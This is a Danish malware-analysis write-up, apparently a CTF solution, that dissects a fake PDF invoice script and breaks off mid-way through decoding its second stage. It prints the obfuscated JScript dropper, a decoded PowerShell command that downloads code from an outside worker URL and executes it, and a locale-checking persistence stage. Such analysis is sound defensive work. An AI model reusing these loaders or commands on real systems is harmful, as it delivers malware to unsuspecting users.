<p><strong>Løsning:</strong> Ved at åbne zip filen kan vi se at der er en javascript fil gemt som en pdf <code>Invoice 42.pdf.js</code>. Ved at åbne filen i en editor kan vi se at det er VBScript fil, den indeholder en pdf fil encoded med base64 samt nogle funktioner. 2 af dem er <code>dec2</code> og <code>dec</code>, som dekoder noget data med en XOR key:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">dec2</span><span class="p">(</span><span class="nx">base64</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">xml</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">ActiveXObject</span><span class="p">(</span><span class="s2">&#34;MSXML2.DOMDocument.3.0&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">el</span> <span class="o">=</span> <span class="nx">xml</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&#34;base64&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">el</span><span class="p">.</span><span class="nx">dataType</span> <span class="o">=</span> <span class="s2">&#34;bin.base64&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">el</span><span class="p">.</span><span class="nx">text</span> <span class="o">=</span> <span class="nx">base64</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">bin</span> <span class="o">=</span> <span class="nx">el</span><span class="p">.</span><span class="nx">nodeTypedValue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">stream</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">ActiveXObject</span><span class="p">(</span><span class="s2">&#34;ADODB.Stream&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">stream</span><span class="p">.</span><span class="nx">Type</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">stream</span><span class="p">.</span><span class="nx">Open</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">stream</span><span class="p">.</span><span class="nx">Write</span><span class="p">(</span><span class="nx">bin</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">stream</span><span class="p">.</span><span class="nx">Position</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">stream</span><span class="p">.</span><span class="nx">Type</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">stream</span><span class="p">.</span><span class="nx">Charset</span> <span class="o">=</span> <span class="s2">&#34;utf-8&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">str</span> <span class="o">=</span> <span class="nx">stream</span><span class="p">.</span><span class="nx">ReadText</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">stream</span><span class="p">.</span><span class="nx">Close</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">str</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">dec</span><span class="p">(</span><span class="nx">str</span><span class="p">,</span> <span class="nx">key</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">str</span> <span class="o">=</span> <span class="nx">dec2</span><span class="p">(</span><span class="nx">str</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">result</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">str</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kd">var</span> <span class="nx">charCode</span> <span class="o">=</span> <span class="nx">str</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="kd">var</span> <span class="nx">keyCharCode</span> <span class="o">=</span> <span class="nx">key</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="nx">i</span> <span class="o">%</span> <span class="nx">key</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nx">result</span> <span class="o">+=</span> <span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="nx">charCode</span> <span class="o">^</span> <span class="nx">keyCharCode</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">result</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">shellApp</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">ActiveXObject</span><span class="p">(</span><span class="s2">&#34;Shell.Application&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">shellApp</span><span class="p">.</span><span class="nx">ShellExecute</span><span class="p">(</span><span class="nx">filePath</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">,</span> <span class="s2">&#34;open&#34;</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">shellApp</span><span class="p">.</span><span class="nx">ShellExecute</span><span class="p">(</span><span class="nx">dec</span><span class="p">(</span><span class="s2">&#34;NAIIFzAuMlg1AyQNDgRMMS1qcgpgKx4cMQAEaDs3PDIFXyccFAIBRhZkHCkvIVIwAxA7GxsWMTg8&#34;</span><span class="p">,</span> <span class="s2">&#34;w8T@Y@V7Bpx^w&#34;</span><span class="p">),</span> <span class="nx">dec</span><span class="p">(</span><span class="s2">&#34;dTVUDD0rbzYAVUlVH3d5FwolNWItAVNfCx1vMBdLJTUmc0UYXwhSNyQfADgqYToRVxZaTD0u&#34;</span><span class="p">,</span> <span class="s2">&#34;XVteJYO^t!9&amp;%&#34;</span><span class="p">),</span> <span class="s2">&#34;&#34;</span><span class="p">,</span> <span class="s2">&#34;open&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span></code></pre></div><p>Vi kan hurtigt lave en replika af funktionen i python:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">dec</span><span class="p">(</span><span class="n">enc_str</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">decoded_str</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">enc_str</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">result</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">decoded_str</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">        <span class="n">char_code</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">decoded_str</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">key_char_code</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)])</span>
</span></span><span class="line"><span class="cl">        <span class="n">result</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">char_code</span> <span class="o">^</span> <span class="n">key_char_code</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">result</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">dec</span><span class="p">(</span><span class="s2">&#34;NAIIFzAuMlg1AyQNDgRMMS1qcgpgKx4cMQAEaDs3PDIFXyccFAIBRhZkHCkvIVIwAxA7GxsWMTg8&#34;</span><span class="p">,</span> <span class="s2">&#34;w8T@Y@V7Bpx^w&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">dec</span><span class="p">(</span><span class="s2">&#34;dTVUDD0rbzYAVUlVH3d5FwolNWItAVNfCx1vMBdLJTUmc0UYXwhSNyQfADgqYToRVxZaTD0u&#34;</span><span class="p">,</span> <span class="s2">&#34;XVteJYO^t!9&amp;%&#34;</span><span class="p">))</span>
</span></span></code></pre></div><p>Dette giver os 2 strings:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-plaintext" data-lang="plaintext"><span class="line"><span class="cl">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
</span></span><span class="line"><span class="cl">-c iwr https://cool-surf-87fc.oli-19f.workers.dev/|iex
</span></span></code></pre></div><p>Dette bruger powershell til at invoke en URL og køre den.</p>
<p>Vi kan nu åbne <a href="https://web.archive.org/web/20250504124103/https://cool-surf-87fc.oli-19f.workers.dev/">https://cool-surf-87fc.oli-19f.workers.dev</a> i en browser for at se indholdet. I browseren kan vi se flere hundred linjer base64 encoded powershell script.</p>
<p>Efter at have kigget flere af dem igennem, er det kun den aller sidste der er interessant. Vi kan dekode den med <a href="https://cyberchef.org/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Decode_text('UTF-16LE%20(1200)')&amp;input=SkFCcEFHNEFjQUIxQUhRQVRBQnZBR01BWVFCc0FHVUFJQUE5QUNBQVJ3QmxBSFFBTFFCWEFHa0FiZ0JWQUhNQVpRQnlBRXdBWVFCdUFHY0FkUUJoQUdjQVpRQk1BR2tBY3dCMEFDQUFmQUFnQUZNQVpRQnNBR1VBWXdCMEFDMEFUd0JpQUdvQVpRQmpBSFFBSUFBdEFFWUFhUUJ5QUhNQWRBQWdBREVBQ2dBa0FHRUFJQUE5QUNBQVFBQW9BRFVBT0FBc0FDQUFPUUE1QUN3QUlBQTFBRFVBTEFBZ0FERUFNQUF3QUN3QUlBQXhBREVBTkFBc0FDQUFNUUF3QURFQUxBQWdBRGtBTndBc0FDQUFNUUF5QURZQUxBQWdBREVBTVFBMkFDd0FJQUF4QURFQU5BQXNBQ0FBTlFBMUFDd0FJQUExQURnQUxBQWdBREVBTVFBMkFDd0FJQUExQURVQUxBQWdBRFVBTXdBc0FDQUFPQUEwQUN3QUlBQTBBRFVBTEFBZ0FEY0FOUUFzQUNBQU5nQTBBQ3dBSUFBeEFESUFOZ0FzQUNBQU1RQXlBREVBTEFBZ0FERUFNUUExQUN3QUlBQXhBRElBTUFBc0FDQUFPUUEyQUN3QUlBQXhBREFBTUFBc0FDQUFOd0ExQUN3QUlBQTJBRGdBTEFBZ0FERUFNUUF3QUN3QUlBQXhBREFBTUFBc0FDQUFPUUE1QUN3QUlBQXhBREVBTkFBc0FDQUFNUUF5QURJQUxBQWdBRE1BTmdBc0FDQUFNd0EzQUN3QUlBQTNBRFVBTEFBZ0FERUFNUUEyQUN3QUlBQXhBRElBTWdBc0FDQUFNUUF4QURVQUxBQWdBRFVBTndBc0FDQUFNUUF4QURRQUxBQWdBREVBTVFBeEFDd0FJQUF4QURFQU5BQXNBQ0FBTlFBekFDd0FJQUExQURVQUxBQWdBRFVBT0FBc0FDQUFNUUF4QURnQUxBQWdBRFVBTlFBc0FDQUFOUUF6QUN3QUlBQTFBRFlBTEFBZ0FERUFNUUEyQUN3QUlBQTFBRFVBTEFBZ0FERUFNQUF6QUN3QUlBQXhBRElBTUFBc0FDQUFPUUEyQUN3QUlBQXhBREVBTkFBc0FDQUFNUUF3QURFQUxBQWdBREVBTUFBd0FDd0FJQUF4QURJQU53QXNBQ0FBTVFBeEFEUUFMQUFnQURFQU1nQXpBQ3dBSUFBeEFESUFNd0FzQUNBQU5RQTFBQ3dBSUFBMUFEZ0FMQUFnQURFQU1RQTJBQ3dBSUFBMUFEVUFMQUFnQURFQU1nQTJBQ3dBSUFBNUFEWUFMQUFnQURFQU1BQXhBQ3dBSUFBMUFEVUFMQUFnQURFQU1nQTNBQ3dBSUFBNUFEa0FMQUFnQURrQU9RQXNBQ0FBTVFBd0FETUFMQUFnQURFQU1BQXdBQ3dBSUFBMEFEVUFMQUFnQURVQU5nQXNBQ0FBTlFBMkFDd0FJQUF4QURFQU5nQXNBQ0FBTXdBM0FDd0FJQUF4QURBQU1BQXNBQ0FBTVFBeEFEUUFMQUFnQURFQU1BQXhBQ3dBSUFBNUFEY0FMQUFnQURFQU1RQTBBQ3dBSUFBeEFEQUFNUUFzQUNBQU5RQTNBQ3dBSUFBeEFESUFOd0FzQUNBQU1RQXlBRFFBTEFBZ0FERUFNZ0F4QUN3QUlBQTFBRFlBTEFBZ0FEWUFPUUFzQUNBQU9BQXlBQ3dBSUFBMkFEa0FMQUFnQURnQU13QXNBQ0FBTVFBeEFEUUFMQUFnQURNQU53QXNBQ0FBTndBd0FDd0FJQUE1QURZQUxBQWdBREVBTVFBMUFDd0FJQUF6QURjQUxBQWdBRE1BTkFBc0FDQUFNUUF4QURNQUxBQWdBREVBTVFBMUFDd0FJQUE0QURBQUxBQWdBREVBTVFBeUFDd0FJQUF4QURBQU9RQXNBQ0FBTndBNUFDd0FJQUF6QURZQUxBQWdBRGtBTkFBc0FDQUFNd0E1QUN3QUlBQTNBRGdBTEFBZ0FERUFNZ0F5QUN3QUlBQTVBRFFBTEFBZ0FERUFNUUF4QUN3QUlBQXhBREVBTlFBc0FDQUFPQUF4QUN3QUlBQTBBRFlBTEFBZ0FERUFNZ0F3QUN3QUlBQTVBREFBTEFBZ0FEZ0FNQUFzQUNBQU9RQTJBQ3dBSUFBeEFEQUFPUUFzQUNBQU53QTVBQ3dBSUFBeEFEQUFPUUFzQUNBQU9BQXhBQ3dBSUFBekFEa0FMQUFnQURjQU9RQXNBQ0FBTVFBd0FEa0FMQUFnQURnQU1RQXNBQ0FBTVFBd0FEa0FMQUFnQURjQU9RQXNBQ0FBTXdBMkFDd0FJQUE1QURRQUxBQWdBRE1BT1FBc0FDQUFNUUF4QURVQUxBQWdBRGdBTUFBc0FDQUFNUUF4QURJQUxBQWdBREVBTUFBNUFDd0FJQUF4QURFQU5nQXNBQ0FBTVFBeUFETUFMQUFnQURRQU5nQXNBQ0FBTVFBeUFEVUFMQUFnQURFQU1RQTFBQ3dBSUFBM0FEa0FMQUFnQURrQU5BQXNBQ0FBTVFBeEFERUFMQUFnQURFQU1RQTNBQ3dBSUFBekFEWUFMQUFnQURZQU5RQXNBQ0FBTVFBd0FEa0FMQUFnQURFQU1RQXpBQ3dBSUFBM0FEQUFMQUFnQURRQU1nQXNBQ0FBTkFBeUFDd0FJQUExQURNQUxBQWdBRFVBTlFBc0FDQUFOUUE0QUN3QUlBQXhBRElBTVFBc0FDQUFOUUExQUN3QUlBQTFBRE1BTEFBZ0FEZ0FOQUFzQUNBQU1RQXlBRGNBTEFBZ0FERUFNQUF4QUN3QUlBQXhBRElBTUFBc0FDQUFNUUF5QURJQUxBQWdBREVBTVFBMEFDd0FJQUExQURVQUxBQWdBRFlBTmdBc0FDQUFNUUF3QURNQUxBQWdBREVBTVFBMUFDd0FJQUF4QURFQU9BQXNBQ0FBT1FBNUFDd0FJQUF4QURFQU5BQXNBQ0FBTVFBd0FERUFMQUFnQURVQU13QXNBQ0FBTlFBMUFDd0FJQUExQURnQUxBQWdBREVBTWdBeUFDd0FJQUExQURVQUxBQWdBREVBTVFBNEFDd0FJQUF4QURFQU5RQXNBQ0FBTVFBeEFEVUFLUUFLQUdZQWRRQnVBR01BZEFCcEFHOEFiZ0FnQUdRQUtBQWtBR01BTEFBZ0FDUUFaUUFwQUNBQWV3QUtBQ0FBSUFBZ0FDQUFKQUJ5QUNBQVBRQWdBQ0lBSWdBS0FDQUFJQUFnQUNBQVpnQnZBSElBSUFBb0FDUUFhUUFnQUQwQUlBQXdBRHNBSUFBa0FHa0FJQUF0QUd3QWRBQWdBQ1FBWXdBdUFFd0FaUUJ1QUdjQWRBQm9BRHNBSUFBa0FHa0FLd0FyQUNrQUlBQjdBQW9BSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ1FBY2dBZ0FDc0FQUUFnQUZzQVl3Qm9BR0VBY2dCZEFDZ0FKQUJqQUZzQUpBQnBBRjBBSUFBdEFHSUFlQUJ2QUhJQUlBQWtBR1VBS1FBS0FDQUFJQUFnQUNBQWZRQUtBQ0FBSUFBZ0FDQUFjZ0JsQUhRQWRRQnlBRzRBSUFBa0FISUFDZ0I5QUFvQWFRQm1BQ0FBS0FBa0FHa0FiZ0J3QUhVQWRBQk1BRzhBWXdCaEFHd0FaUUF1QUVrQWJnQndBSFVBZEFCTkFHVUFkQUJvQUc4QVpBQlVBR2tBY0FCekFDQUFMUUJ0QUdFQWRBQmpBR2dBSUFBaUFEQUFOQUF3QURrQU9nQXdBREFBTUFBd0FEQUFOQUF4QURrQUlnQWdBQzBBYndCeUFDQUFKQUJwQUc0QWNBQjFBSFFBVEFCdkFHTUFZUUJzQUdVQUxnQkpBRzRBY0FCMUFIUUFUUUJsQUhRQWFBQnZBR1FBVkFCcEFIQUFjd0FnQUMwQWJRQmhBSFFBWXdCb0FDQUFJZ0F3QURBQU1BQXdBREFBTkFBeEFEa0FJZ0FwQUNBQWV3QUtBQWtBSkFCaUFDQUFQUUFnQURJQU13QUtBQ0FBSUFBZ0FDQUFTUUJ1QUhZQWJ3QnJBR1VBTFFCVEFHZ0FZUUJ5QUZBQVpRQnlBSE1BYVFCekFIUUFJQUFvQUdRQUlBQWtBR0VBSUFBa0FHSUFLUUFLQUgwQUNnQT0">CyberChef</a></p>
<p>Her finder vi noget powershell kode som laver en liste af tal og xor dem med en key på <code>23</code> og til sidst omsætter det til en string som igen bliver invoked.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$inputLocale</span> <span class="p">=</span> <span class="nb">Get-WinUserLanguageList</span> <span class="p">|</span> <span class="nb">Select-Object</span> <span class="n">-First</span> <span class="mf">1</span>
</span></span><span class="line"><span class="cl"><span class="nv">$a</span> <span class="p">=</span> <span class="vm">@</span><span class="p">(</span><span class="mf">58</span><span class="p">,</span> <span class="mf">99</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">100</span><span class="p">,</span> <span class="mf">114</span><span class="p">,</span> <span class="mf">101</span><span class="p">,</span> <span class="mf">97</span><span class="p">,</span> <span class="mf">126</span><span class="p">,</span> <span class="mf">116</span><span class="p">,</span> <span class="mf">114</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">58</span><span class="p">,</span> <span class="mf">116</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">53</span><span class="p">,</span> <span class="mf">84</span><span class="p">,</span> <span class="mf">45</span><span class="p">,</span> <span class="mf">75</span><span class="p">,</span> <span class="mf">64</span><span class="p">,</span> <span class="mf">126</span><span class="p">,</span> <span class="mf">121</span><span class="p">,</span> <span class="mf">115</span><span class="p">,</span> <span class="mf">120</span><span class="p">,</span> <span class="mf">96</span><span class="p">,</span> <span class="mf">100</span><span class="p">,</span> <span class="mf">75</span><span class="p">,</span> <span class="mf">68</span><span class="p">,</span> <span class="mf">110</span><span class="p">,</span> <span class="mf">100</span><span class="p">,</span> <span class="mf">99</span><span class="p">,</span> <span class="mf">114</span><span class="p">,</span> <span class="mf">122</span><span class="p">,</span> <span class="mf">36</span><span class="p">,</span> <span class="mf">37</span><span class="p">,</span> <span class="mf">75</span><span class="p">,</span> <span class="mf">116</span><span class="p">,</span> <span class="mf">122</span><span class="p">,</span> <span class="mf">115</span><span class="p">,</span> <span class="mf">57</span><span class="p">,</span> <span class="mf">114</span><span class="p">,</span> <span class="mf">111</span><span class="p">,</span> <span class="mf">114</span><span class="p">,</span> <span class="mf">53</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">58</span><span class="p">,</span> <span class="mf">118</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">53</span><span class="p">,</span> <span class="mf">56</span><span class="p">,</span> <span class="mf">116</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">103</span><span class="p">,</span> <span class="mf">120</span><span class="p">,</span> <span class="mf">96</span><span class="p">,</span> <span class="mf">114</span><span class="p">,</span> <span class="mf">101</span><span class="p">,</span> <span class="mf">100</span><span class="p">,</span> <span class="mf">127</span><span class="p">,</span> <span class="mf">114</span><span class="p">,</span> <span class="mf">123</span><span class="p">,</span> <span class="mf">123</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">58</span><span class="p">,</span> <span class="mf">116</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">126</span><span class="p">,</span> <span class="mf">96</span><span class="p">,</span> <span class="mf">101</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">127</span><span class="p">,</span> <span class="mf">99</span><span class="p">,</span> <span class="mf">99</span><span class="p">,</span> <span class="mf">103</span><span class="p">,</span> <span class="mf">100</span><span class="p">,</span> <span class="mf">45</span><span class="p">,</span> <span class="mf">56</span><span class="p">,</span> <span class="mf">56</span><span class="p">,</span> <span class="mf">116</span><span class="p">,</span> <span class="mf">37</span><span class="p">,</span> <span class="mf">100</span><span class="p">,</span> <span class="mf">114</span><span class="p">,</span> <span class="mf">101</span><span class="p">,</span> <span class="mf">97</span><span class="p">,</span> <span class="mf">114</span><span class="p">,</span> <span class="mf">101</span><span class="p">,</span> <span class="mf">57</span><span class="p">,</span> <span class="mf">127</span><span class="p">,</span> <span class="mf">124</span><span class="p">,</span> <span class="mf">121</span><span class="p">,</span> <span class="mf">56</span><span class="p">,</span> <span class="mf">69</span><span class="p">,</span> <span class="mf">82</span><span class="p">,</span> <span class="mf">69</span><span class="p">,</span> <span class="mf">83</span><span class="p">,</span> <span class="mf">114</span><span class="p">,</span> <span class="mf">37</span><span class="p">,</span> <span class="mf">70</span><span class="p">,</span> <span class="mf">96</span><span class="p">,</span> <span class="mf">115</span><span class="p">,</span> <span class="mf">37</span><span class="p">,</span> <span class="mf">34</span><span class="p">,</span> <span class="mf">113</span><span class="p">,</span> <span class="mf">115</span><span class="p">,</span> <span class="mf">80</span><span class="p">,</span> <span class="mf">112</span><span class="p">,</span> <span class="mf">109</span><span class="p">,</span> <span class="mf">79</span><span class="p">,</span> <span class="mf">36</span><span class="p">,</span> <span class="mf">94</span><span class="p">,</span> <span class="mf">39</span><span class="p">,</span> <span class="mf">78</span><span class="p">,</span> <span class="mf">122</span><span class="p">,</span> <span class="mf">94</span><span class="p">,</span> <span class="mf">111</span><span class="p">,</span> <span class="mf">115</span><span class="p">,</span> <span class="mf">81</span><span class="p">,</span> <span class="mf">46</span><span class="p">,</span> <span class="mf">120</span><span class="p">,</span> <span class="mf">90</span><span class="p">,</span> <span class="mf">80</span><span class="p">,</span> <span class="mf">96</span><span class="p">,</span> <span class="mf">109</span><span class="p">,</span> <span class="mf">79</span><span class="p">,</span> <span class="mf">109</span><span class="p">,</span> <span class="mf">81</span><span class="p">,</span> <span class="mf">39</span><span class="p">,</span> <span class="mf">79</span><span class="p">,</span> <span class="mf">109</span><span class="p">,</span> <span class="mf">81</span><span class="p">,</span> <span class="mf">109</span><span class="p">,</span> <span class="mf">79</span><span class="p">,</span> <span class="mf">36</span><span class="p">,</span> <span class="mf">94</span><span class="p">,</span> <span class="mf">39</span><span class="p">,</span> <span class="mf">115</span><span class="p">,</span> <span class="mf">80</span><span class="p">,</span> <span class="mf">112</span><span class="p">,</span> <span class="mf">109</span><span class="p">,</span> <span class="mf">116</span><span class="p">,</span> <span class="mf">123</span><span class="p">,</span> <span class="mf">46</span><span class="p">,</span> <span class="mf">125</span><span class="p">,</span> <span class="mf">115</span><span class="p">,</span> <span class="mf">79</span><span class="p">,</span> <span class="mf">94</span><span class="p">,</span> <span class="mf">111</span><span class="p">,</span> <span class="mf">117</span><span class="p">,</span> <span class="mf">36</span><span class="p">,</span> <span class="mf">65</span><span class="p">,</span> <span class="mf">109</span><span class="p">,</span> <span class="mf">113</span><span class="p">,</span> <span class="mf">70</span><span class="p">,</span> <span class="mf">42</span><span class="p">,</span> <span class="mf">42</span><span class="p">,</span> <span class="mf">53</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">58</span><span class="p">,</span> <span class="mf">121</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">53</span><span class="p">,</span> <span class="mf">84</span><span class="p">,</span> <span class="mf">127</span><span class="p">,</span> <span class="mf">101</span><span class="p">,</span> <span class="mf">120</span><span class="p">,</span> <span class="mf">122</span><span class="p">,</span> <span class="mf">114</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">66</span><span class="p">,</span> <span class="mf">103</span><span class="p">,</span> <span class="mf">115</span><span class="p">,</span> <span class="mf">118</span><span class="p">,</span> <span class="mf">99</span><span class="p">,</span> <span class="mf">114</span><span class="p">,</span> <span class="mf">101</span><span class="p">,</span> <span class="mf">53</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">58</span><span class="p">,</span> <span class="mf">122</span><span class="p">,</span> <span class="mf">55</span><span class="p">,</span> <span class="mf">118</span><span class="p">,</span> <span class="mf">115</span><span class="p">,</span> <span class="mf">115</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">d($c</span><span class="p">,</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$r</span> <span class="p">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="p">=</span> <span class="mf">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">-lt</span> <span class="nv">$c</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="nv">$i</span><span class="p">++)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$r</span> <span class="p">+=</span> <span class="p">[</span><span class="no">char</span><span class="p">](</span><span class="nv">$c</span><span class="p">[</span><span class="nv">$i</span><span class="p">]</span> <span class="o">-bxor</span> <span class="nv">$e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$r</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nv">$inputLocale</span><span class="p">.</span><span class="py">InputMethodTips</span> <span class="o">-match</span> <span class="s2">&#34;0409:00000419&#34;</span> <span class="o">-or</span> <span class="nv">$inputLocale</span><span class="p">.</span><span class="py">InputMethodTips</span> <span class="o">-match</span> <span class="s2">&#34;00000419&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$b</span> <span class="p">=</span> <span class="mf">23</span>
</span></span><span class="line"><span class="cl">    <span class="nb">Invoke-SharPersist</span> <span class="p">(</span><span class="n">d</span> <span class="nv">$a</span> <span class="nv">$b</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Vi kan replikerer koden i python for at dekode hvad det næste trin er:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="p">[</span><span class="mi">58</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">126</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">58</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">53</span><span class="p">,</span> <span class="mi">84</span><span class="p">,</span> <span class="mi">45</span><span class="p">,</span> <span class="mi">75</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="mi">126</span><span class="p">,</span> <span class="mi">121</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">120</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">75</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span 